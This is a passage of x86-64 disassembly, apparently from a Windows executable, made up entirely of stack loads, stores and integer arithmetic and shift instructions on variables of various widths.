movsx eax, word [rax]
mov rcx, qword [rsp + 0x4ef0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x940], ax
movsx eax, byte [0x140178e8a]
movsx ecx, byte [rsp + 0xaf]
shl eax, cl
mov rcx, qword [rsp + 0x6068]
mov byte [rcx], al
mov eax, dword [rsp + 0x2a88]
mov dword [rsp + 0x2c78], eax
mov rax, qword [rsp + 0x50b0]
mov ecx, dword [rsp + 0x2c48]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2a40], eax
lea rax, [rsp + 0x6078]
mov qword [rsp + 0x61f8], rax
mov rax, qword [rsp + 0x4fd8]
mov rcx, qword [rsp + 0x5da0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5fb0]
mov qword [rcx], rax
movsx eax, word [rsp + 0x988]
mov rcx, qword [rsp + 0x5c68]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14017a168]
mov word [rcx], ax
mov rax, qword [rsp + 0x5980]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xab4]
and eax, ecx
mov word [rsp + 0xaac], ax
lea rax, [rsp + 0xcc]
mov qword [rsp + 0x6200], rax
mov rax, qword [rsp + 0x5070]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xf6]
sub eax, ecx
mov byte [rsp + 0x62], al
lea rax, [rsp + 0xe4]
mov qword [rsp + 0x6208], rax
mov eax, dword [rsp + 0x28cc]
mov ecx, dword [rsp + 0x2c54]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b88], eax
lea rax, [rsp + 0x5fc0]
mov qword [rsp + 0x6210], rax
mov eax, dword [rsp + 0x2ba8]
mov ecx, dword [rsp + 0x2c50]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2adc], eax
mov rax, qword [rsp + 0x5990]
mov rcx, qword [rsp + 0x57c8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5a28], rax
mov rax, qword [rsp + 0x4f68]
movzx eax, byte [rax]
mov byte [0x14017a0e3], al
lea rax, [rsp + 0xa08]
mov qword [rsp + 0x6218], rax
movzx eax, byte [rsp + 0x84]
movzx ecx, byte [rsp + 0x5f]
add eax, ecx
mov rcx, qword [rsp + 0x5e50]
mov byte [rcx], al
lea rax, [rsp + 0x960]
mov qword [rsp + 0x6220], rax
mov rax, qword [rsp + 0x5908]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa18]
shl eax, cl
mov word [rsp + 0xa00], ax
mov rax, qword [rsp + 0x5e90]
mov rcx, qword [rsp + 0x5b48]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x5720], rax
lea rax, [rsp + 0x6020]
mov qword [rsp + 0x6228], rax
mov rax, qword [rsp + 0x59a0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x53e0]
mov qword [rsp + 0x6230], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6230]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x2c40], eax
lea rax, [rsp + 0x2b90]
mov qword [rsp + 0x6238], rax
movsx eax, byte [rsp + 0xf3]
movsx ecx, byte [rsp + 0x56]
or eax, ecx
mov rcx, qword [0x14017a070]
mov byte [rcx], al
movzx eax, byte [rsp + 0xcb]
movzx ecx, byte [rsp + 0xde]
and eax, ecx
mov byte [rsp + 0xa7], al
movzx eax, word [rsp + 0x954]
mov rcx, qword [rsp + 0x5700]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xa54], ax
mov rax, qword [rsp + 0x5488]
movzx eax, byte [rax]
mov byte [rsp + 0xf8], al
movsx eax, byte [rsp + 0xf7]
movsx ecx, byte [rsp + 0xa8]
sub eax, ecx
mov rcx, qword [rsp + 0x5830]
mov byte [rcx], al
lea rax, [rsp + 0x5d88]
mov qword [rsp + 0x6240], rax
mov eax, dword [0x14017a064]
mov ecx, dword [rsp + 0x2ac0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2be0], eax
mov rax, qword [rsp + 0x57b8]
mov rcx, qword [rsp + 0x52a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5c78], rax
lea rax, [rsp + 0x2bfc]
mov qword [rsp + 0x6248], rax
movzx eax, word [rsp + 0x9f4]
movzx ecx, word [0x14017a260]
and eax, ecx
mov word [0x140178f04], ax
movzx eax, byte [rsp + 0xa6]
movzx ecx, byte [rsp + 0xab]
sub eax, ecx
mov byte [rsp + 0xb4], al
movzx eax, byte [rsp + 0xce]
mov byte [rsp + 0xf9], al
movzx eax, word [rsp + 0x85c]
mov rcx, qword [rsp + 0x4d70]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xaac], ax
movzx eax, word [rsp + 0x8b0]
mov word [rsp + 0xaec], ax
mov eax, dword [rsp + 0x2b14]
mov ecx, dword [rsp + 0x2c60]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x50b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5df0]
mov ecx, dword [rsp + 0x2a3c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5cb8]
mov dword [rcx], eax
lea rax, [rsp + 0x60a0]
mov qword [rsp + 0x6250], rax
mov rax, qword [rsp + 0x5f38]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x5b88]
sar rax, cl
mov qword [rsp + 0x5bd0], rax
mov rax, qword [0x14017a150]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x964]
xor eax, ecx
mov word [0x140178e9c], ax
lea rax, [rsp + 0xde]
mov qword [rsp + 0x6258], rax
mov rax, qword [rsp + 0x5c08]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5a78]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x58e0]
mov byte [rcx], al
movsx eax, word [0x140178eb0]
movsx ecx, word [rsp + 0x9dc]
shl eax, cl
mov word [rsp + 0x8dc], ax
movzx eax, word [rsp + 0x9e4]
mov word [rsp + 0xaf0], ax
mov rax, qword [rsp + 0x4ac8]
mov rcx, qword [rsp + 0x5570]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x5bf8], rax
lea rax, [rsp + 0x2b30]
mov qword [rsp + 0x6260], rax
mov rax, qword [rsp + 0x59a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5a38]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x53f0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2bc8]
mov ecx, dword [rsp + 0x2af0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b60], eax
lea rax, [rsp + 0x9c0]
mov qword [rsp + 0x6268], rax
mov rax, qword [rsp + 0x5be0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5608]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140178e73], al
movsx eax, byte [rsp + 0x65]
movsx ecx, byte [0x140178e9e]
sub eax, ecx
mov rcx, qword [rsp + 0x4f68]
mov byte [rcx], al
mov rax, qword [rsp + 0x5968]
movzx eax, word [rax]
mov word [rsp + 0xaf4], ax
mov rax, qword [rsp + 0x4cd8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6008]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xa3c], ax
lea rax, [rsp + 0x6050]
mov qword [rsp + 0x6270], rax
mov rax, qword [rsp + 0x5af8]
mov rcx, qword [rsp + 0x5198]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5500]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5bb0]
mov ecx, dword [rsp + 0x2b18]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6158]
mov dword [rcx], eax
lea rax, [rsp + 0x2c00]
mov qword [rsp + 0x6278], rax
movzx eax, byte [0x14017a0cd]
mov rcx, qword [rsp + 0x54b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4f30]
mov byte [rcx], al
mov rax, qword [rsp + 0x5b18]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5c08]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x140178eb2], al
lea rax, [rsp + 0xa4]
mov qword [rsp + 0x6280], rax
movzx eax, word [0x140178eac]
movzx ecx, word [rsp + 0x954]
shl eax, cl
mov word [rsp + 0x9c8], ax
movsx eax, word [rsp + 0xaa8]
movsx ecx, word [rsp + 0xa34]
or eax, ecx
mov rcx, qword [rsp + 0x54d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5438]
mov rax, qword [rax]
mov qword [rsp + 0x6288], rax
mov rax, qword [rsp + 0x5000]
mov rcx, qword [rsp + 0x5668]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x5960]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2b60]
mov dword [rsp + 0x2c7c], eax
mov eax, dword [rsp + 0x2ab0]
movzx ecx, al
mov eax, dword [rsp + 0x2b1c]
shr eax, cl
mov dword [rsp + 0x2c0c], eax
movsx eax, byte [rsp + 0x7c]
movsx ecx, byte [rsp + 0xc2]
and eax, ecx
mov rcx, qword [rsp + 0x5418]
mov byte [rcx], al
movzx eax, word [rsp + 0xab4]
movzx ecx, word [rsp + 0xa50]
sub eax, ecx
mov word [0x140178f08], ax
lea rax, [rsp + 0xa98]
mov qword [rsp + 0x6290], rax
mov rax, qword [rsp + 0x5108]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa9]
sub eax, ecx
mov byte [rsp + 0xcb], al
lea rax, [rsp + 0x860]
mov qword [rsp + 0x6298], rax
mov rax, qword [rsp + 0x59a8]
mov rcx, qword [0x140178e78]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6150], rax
mov rax, qword [rsp + 0x5808]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5338]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5dd0], rax
mov eax, dword [rsp + 0x29f0]
mov dword [rsp + 0x2c80], eax
mov eax, dword [rsp + 0x29e4]
mov ecx, dword [0x140178e8c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5ef0]
mov dword [rcx], eax
lea rax, [rsp + 0xca]
mov qword [rsp + 0x62a0], rax
mov rax, qword [rsp + 0x5538]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4f98]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14017a0b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5fd8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x59e8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x87c], ax
movzx eax, byte [rsp + 0xc4]
mov byte [rsp + 0xfa], al
mov rax, qword [rsp + 0x5b30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xce]
add eax, ecx
mov byte [rsp + 0x91], al
mov rax, qword [0x14017a0b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5f80]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x86c], ax
mov rax, qword [rsp + 0x5718]
mov qword [rsp + 0x62a8], rax
mov eax, dword [rsp + 0x2c6c]
movzx ecx, al
mov eax, dword [rsp + 0x2b18]
sar eax, cl
mov dword [rsp + 0x2ac4], eax
lea rax, [rsp + 0x5a50]
mov qword [rsp + 0x62b0], rax
mov rax, qword [rsp + 0x50f8]
mov ecx, dword [rsp + 0x2b74]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x5018]
mov dword [rcx], eax
mov rax, qword [rsp + 0x54e0]
movsx eax, byte [rax]
movsx ecx, byte [0x140178e9f]
shl eax, cl
mov byte [0x14017a050], al
mov rax, qword [rsp + 0x6190]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xf4]
add eax, ecx
mov rcx, qword [rsp + 0x5a00]
mov byte [rcx], al
mov rax, qword [rsp + 0x50e0]
movzx eax, word [rax]
mov word [rsp + 0xaf8], ax
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x60e8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4f68]
mov byte [rcx], al
movzx eax, word [rsp + 0xa30]
mov word [rsp + 0xafc], ax
mov rax, qword [rsp + 0x5548]
mov rcx, qword [rsp + 0x6020]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5d08], rax
mov rax, qword [rsp + 0x5188]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5e40]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5c80]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2be8]
mov dword [rsp + 0x2c84], eax
mov rax, qword [rsp + 0x4aa8]
mov rcx, qword [rsp + 0x5240]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2b78], eax
mov rax, qword [rsp + 0x5660]
movzx eax, word [rax]
mov word [0x14017a350], ax
movzx eax, word [0x140178ec0]
mov word [rsp + 0xb00], ax
mov rax, qword [rsp + 0x57d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x60a8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x54], al
lea rax, [rsp + 0xc8]
mov qword [rsp + 0x62b8], rax
movzx eax, word [rsp + 0xa08]
mov rcx, qword [rsp + 0x4cd8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x9c0], ax
mov eax, dword [rsp + 0x2c64]
mov ecx, dword [rsp + 0x2ab8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a60], eax
mov rax, qword [rsp + 0x5078]
mov rax, qword [rax]
mov qword [rsp + 0x62c0], rax
mov rax, qword [rsp + 0x5bf8]
mov rcx, qword [rsp + 0x55a8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5570], rax
mov eax, dword [rsp + 0x2bbc]
mov dword [rsp + 0x2c88], eax
mov rax, qword [rsp + 0x5100]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5fd8]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x140178edc], ax
movzx eax, byte [rsp + 0xa4]
mov rcx, qword [rsp + 0x4e90]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5520]
mov byte [rcx], al
mov rax, qword [rsp + 0x5568]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x62]
or eax, ecx
mov rcx, qword [rsp + 0x5d30]
mov byte [rcx], al
mov rax, qword [rsp + 0x4c20]
movzx eax, word [rax]
mov word [rsp + 0xb04], ax
mov rax, qword [0x14017a128]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x62a0]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6068]
mov byte [rcx], al
lea rax, [rsp + 0x2be0]
mov qword [rsp + 0x62c8], rax
mov rax, qword [rsp + 0x4fd8]
mov rcx, qword [rsp + 0x5f40]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x5a40], rax
mov eax, dword [rsp + 0x2a9c]
mov ecx, dword [rsp + 0x2a80]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c74], eax
lea rax, [rsp + 0x5750]
mov qword [rsp + 0x62d0], rax
mov rax, qword [rsp + 0x5058]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5e60]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140178eb3], al
mov rax, qword [rsp + 0x5478]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x964]
and eax, ecx
mov word [rsp + 0x954], ax
movzx eax, word [rsp + 0xad0]
mov word [rsp + 0xb08], ax
mov rax, qword [rsp + 0x53a8]
movsx eax, byte [rax]
mov rcx, qword [0x14017a2f8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5418]
mov byte [rcx], al
movsx eax, word [rsp + 0x9f0]
mov rcx, qword [rsp + 0x5b28]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5e80]
mov word [rcx], ax
lea rax, [rsp + 0x2a50]
mov qword [rsp + 0x62d8], rax
mov eax, dword [rsp + 0x2c0c]
mov ecx, dword [rsp + 0x2908]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5580]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6108]
mov rax, qword [rax]
mov qword [rsp + 0x62e0], rax
mov rax, qword [rsp + 0x5960]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5bd0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5878], rax
movsx eax, byte [rsp + 0x5e]
movsx ecx, byte [0x140178e8a]
add eax, ecx
mov byte [0x140178eb6], al
mov rax, qword [rsp + 0x6218]
movzx eax, word [rax]
mov word [rsp + 0xb0c], ax
mov rax, qword [rsp + 0x5058]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5010]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4ec0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ba0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5d30]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6090]
mov byte [rcx], al
lea rax, [rsp + 0xa3c]
mov qword [rsp + 0x62e8], rax
mov rax, qword [rsp + 0x5710]
mov rcx, qword [rsp + 0x6278]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2bcc], eax
mov eax, dword [rsp + 0x2ad0]
mov dword [rsp + 0x2c8c], eax
mov rax, qword [rsp + 0x6088]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6160]
shl rax, cl
mov rcx, qword [rsp + 0x5080]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6250]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x56f0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x51e8], rax
mov rax, qword [rsp + 0x5f90]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5608]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x140178e74], al
lea rax, [rsp + 0xf7]
mov qword [rsp + 0x62f0], rax
movsx eax, word [rsp + 0x9e8]
movsx ecx, word [rsp + 0x940]
xor eax, ecx
mov word [rsp + 0x8a4], ax
lea rax, [0x14017a053]
mov qword [rsp + 0x62f8], rax
movsx eax, word [rsp + 0x9a0]
mov rcx, qword [rsp + 0x4ef0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6028]
mov word [rcx], ax
mov rax, qword [rsp + 0x5078]
mov rcx, qword [rsp + 0x5088]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4ec8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2c80]
mov dword [rsp + 0x2c90], eax
mov rax, qword [rsp + 0x6030]
mov rcx, qword [rsp + 0x5c60]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5850]
mov qword [rcx], rax
lea rax, [rsp + 0x2ac8]
mov qword [rsp + 0x6300], rax
mov rax, qword [0x14017a1b8]
movzx eax, byte [rax]
mov byte [0x14017a0e4], al
mov rax, qword [rsp + 0x5a08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4e08]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x9bc], ax
movzx eax, word [rsp + 0x964]
mov rcx, qword [rsp + 0x5980]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x60b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5f80]
movzx eax, word [rax]
mov word [rsp + 0xb10], ax
mov rax, qword [rsp + 0x6200]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5108]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xdd], al
lea rax, [rsp + 0x5e58]
mov qword [rsp + 0x6308], rax
mov rax, qword [rsp + 0x5710]
mov rcx, qword [rsp + 0x5998]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5530]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5588]
mov qword [rsp + 0x6310], rax
mov rax, qword [rsp + 0x5680]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b18], eax
movsx eax, byte [rsp + 0x94]
mov rcx, qword [rsp + 0x5a80]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5b30]
mov byte [rcx], al
mov rax, qword [rsp + 0x5ca0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8d4]
shl eax, cl
mov word [0x140178ecc], ax
movzx eax, word [rsp + 0x9f4]
mov word [rsp + 0xb14], ax
mov rax, qword [rsp + 0x57d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xd8]
xor eax, ecx
mov rcx, qword [rsp + 0x4be0]
mov byte [rcx], al
mov rax, qword [rsp + 0x53c8]
movzx eax, byte [rax]
mov byte [rsp + 0xfb], al
mov rax, qword [rsp + 0x5e20]
movzx ecx, al
mov rax, qword [rsp + 0x5f40]
sar rax, cl
mov rcx, qword [rsp + 0x55f8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2c10]
mov ecx, dword [0x14017a060]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x29c4], eax
mov rax, qword [rsp + 0x6018]
mov rax, qword [rax]
mov qword [rsp + 0x6318], rax
mov rax, qword [rsp + 0x6140]
mov rcx, qword [rsp + 0x60d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x5ad0]
mov dword [rcx], eax
lea rax, [0x140178eec]
mov qword [rsp + 0x6320], rax
mov rax, qword [rsp + 0x5e60]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6200]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14017a055], al
movsx eax, word [rsp + 0x9a0]
movsx ecx, word [0x140178eb0]
sub eax, ecx
mov rcx, qword [rsp + 0x6110]
mov word [rcx], ax
mov rax, qword [rsp + 0x55e0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4be0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x88], al
movzx eax, byte [rsp + 0xd0]
mov byte [rsp + 0xfc], al
mov rax, qword [rsp + 0x62b0]
mov rcx, qword [0x140178e60]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5e90]
mov qword [rcx], rax
lea rax, [rsp + 0x2b14]
mov qword [rsp + 0x6328], rax
mov rax, qword [rsp + 0x53e0]
mov ecx, dword [rsp + 0x2c54]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2ae4], eax
lea rax, [rsp + 0x5a68]
mov qword [rsp + 0x6330], rax
mov rax, qword [0x14017a2c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5700]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x8c4], ax
lea rax, [rsp + 0x9d4]
mov qword [0x14017a358], rax
mov rax, qword [rsp + 0x5350]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xbd]
add eax, ecx
mov rcx, qword [rsp + 0x4ff0]
mov byte [rcx], al
movzx eax, word [0x14017a350]
mov word [rsp + 0xb18], ax
mov rax, qword [rsp + 0x57d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5608]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe8], al
mov rax, qword [rsp + 0x5570]
mov qword [rsp + 0x6338], rax
mov rax, qword [rsp + 0x5710]
mov rcx, qword [rsp + 0x5738]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6198]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5ed8]
mov rcx, qword [rsp + 0x4ec8]
mov qword [rsp + 0x6340], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6340]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x54e8]
mov qword [rcx], rax
lea rax, [rsp + 0x29f0]
mov qword [rsp + 0x6348], rax
movzx eax, word [rsp + 0x8ec]
mov rcx, qword [rsp + 0x5980]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5378]
mov word [rcx], ax
mov rax, qword [rsp + 0x61c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x55c8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x140178f0c], ax
mov rax, qword [rsp + 0x5928]
movzx eax, byte [rax]
mov byte [rsp + 0xfd], al
movzx eax, byte [rsp + 0xdb]
movzx ecx, byte [rsp + 0xde]
or eax, ecx
mov rcx, qword [rsp + 0x4be0]
mov byte [rcx], al
movsx eax, word [rsp + 0x90c]
movsx ecx, word [rsp + 0x880]
and eax, ecx
mov word [rsp + 0x938], ax
movzx eax, byte [rsp + 0xf0]
mov byte [rsp + 0xfe], al
mov rax, qword [rsp + 0x6300]
mov ecx, dword [rsp + 0x2af8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5998]
mov dword [rcx], eax
mov rax, qword [rsp + 0x53e0]
mov eax, dword [rax]
mov dword [rsp + 0x2c94], eax
mov rax, qword [rsp + 0x5a70]
mov rcx, qword [rsp + 0x6018]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5210], rax
mov rax, qword [rsp + 0x58f8]
mov rax, qword [rax]
mov rcx, qword [0x14017a058]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x61f0], rax
movsx eax, word [rsp + 0x940]
mov rcx, qword [rsp + 0x5ca0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14017a1a0], ax
movzx eax, byte [rsp + 0xe6]
mov byte [rsp + 0xff], al
mov rax, qword [rsp + 0x5b10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5f00]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x890], ax
lea rax, [rsp + 0x9cc]
mov qword [rsp + 0x6350], rax
mov rax, qword [rsp + 0x5f00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4d70]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5298]
mov word [rcx], ax
mov rax, qword [rsp + 0x5018]
mov eax, dword [rax]
mov dword [rsp + 0x2c98], eax
mov rax, qword [rsp + 0x54a8]
mov rcx, qword [rsp + 0x52b8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5000]
mov qword [rcx], rax
mov eax, dword [0x14017a060]
mov ecx, dword [rsp + 0x2abc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x58c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6018]
mov rax, qword [rax]
mov qword [rsp + 0x6358], rax
mov rax, qword [rsp + 0x57c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa3]
add eax, ecx
mov rcx, qword [0x14017a310]
mov byte [rcx], al
mov rax, qword [rsp + 0x5190]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9d0]
sar eax, cl
mov word [rsp + 0x8a0], ax
mov rax, qword [rsp + 0x4ff8]
movzx eax, byte [rax]
mov byte [rsp + 0x100], al
mov rax, qword [rsp + 0x5d40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xf9]
shl eax, cl
mov rcx, qword [rsp + 0x5bc8]
mov byte [rcx], al
movzx eax, word [0x140178e98]
mov rcx, qword [rsp + 0x4cd8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x9b4], ax
lea rax, [rsp + 0x58e8]
mov qword [rsp + 0x6360], rax
mov eax, dword [rsp + 0x2ae0]
mov ecx, dword [rsp + 0x2ba4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5de0]
mov dword [rcx], eax
lea rax, [0x14017a060]
mov qword [rsp + 0x6368], rax
mov rax, qword [rsp + 0x6148]
mov rcx, qword [rsp + 0x5bd0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x52a0]
mov qword [rcx], rax
lea rax, [rsp + 0x5c]
mov qword [0x14017a360], rax
movzx eax, word [rsp + 0xaa0]
movzx ecx, word [0x14017a0f8]
add eax, ecx
mov word [rsp + 0x910], ax
mov rax, qword [rsp + 0x4f30]
movzx eax, byte [rax]
mov byte [rsp + 0x101], al
mov rax, qword [rsp + 0x57e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6220]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x9e0], ax
movzx eax, byte [rsp + 0x83]
mov byte [rsp + 0x102], al
mov rax, qword [rsp + 0x6040]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c8c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a80], eax
mov rax, qword [rsp + 0x57b8]
mov rax, qword [rax]
mov qword [rsp + 0x6370], rax
mov eax, dword [0x14017a064]
mov ecx, dword [rsp + 0x2bb8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b50], eax
mov rax, qword [rsp + 0x6338]
mov rcx, qword [rsp + 0x5778]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5c90], rax
movsx eax, word [rsp + 0x9a8]
mov rcx, qword [rsp + 0x5c68]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140178f10], ax
movzx eax, byte [0x14017a054]
mov byte [rsp + 0x103], al
movzx eax, word [rsp + 0x8c0]
mov rcx, qword [rsp + 0x5d78]
